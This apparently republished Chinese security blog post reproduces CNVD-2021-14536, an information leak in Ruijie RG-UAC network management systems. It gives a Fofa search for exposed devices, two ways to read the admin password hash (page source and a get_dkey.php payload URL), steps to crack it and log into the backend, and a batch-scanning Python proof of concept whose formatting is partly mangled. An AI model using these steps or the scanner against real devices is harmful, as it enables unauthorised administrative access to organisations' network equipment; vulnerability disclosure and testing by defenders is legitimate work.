锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)

  • A+
所属分类:安全文章

漏洞描述

锐捷RG-UAC统一上网行为管理系统存在登录账号密码的信息泄露,在网页源代码或者指定url处可以读取到登录账号以及密码。攻击者可通过账号与解密密码直接登陆后台。


影响版本

锐捷RG-UAC统一上网行为管理审计系统


漏洞复现

Fofa搜索关键字:title="RG-UAC登录页面"&&body="admin"


方法一:


一、在首页打开网页源代码,CTRL+U

 

锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)


二、CTRL+F搜索关键字admin,可以看到passwordmd5加密

 

锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)

三、password进行解密

 

锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)

四、成功解密,尝试登录后台

 

锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)


五、登录账号admin,使用解密的password进行登录,成功登录后台。

 

 

方法二:


构造以下payload

https://xxxxxxx/get_dkey.php?user=admin


 

锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)


成功读取password值。

接下来步骤与第一种方法相同。通过解密的管理员账户密码登陆即可。

 

收集POC

poc来源PeiQi Wiki文库

 

import requestsimport sysimport randomimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 锐捷RG-UAC统一上网行为管理审计系统 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mFile >>> ip.txt 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) if "super_admin" in response.text and "password" in response.text and response.status_code == 200: print("33[32m[o] 目标 {}存在漏洞 ,F12查看源码获取密码md5值 33[0m".format(target_url)) else: print("33[31m[x] 目标 {}不存在漏洞 33[0m".format(target_url)) except Exception as e: print("33[31m[x] 目标 {}不存在漏洞 33[0m".format(target_url))
def Scan(file_name): with open(file_name, "r", encoding='utf8') as scan_url: for url in scan_url: if url[:4] != "http": url = "http://" + url url = url.strip('n') try: POC_1(url)
except Exception as e: print("33[31m[x] 请求报错 33[0m".format(e)) continue
if __name__ == '__main__': title() file_name = str(input("33[35mPlease input Attack FilenFile >>> 33[0m")) Scan(file_name)


锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)



本文始发于微信公众号(瓜神学习网络安全):锐捷RG-UAC信息泄露漏洞复现(CNVD-2021-14536)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: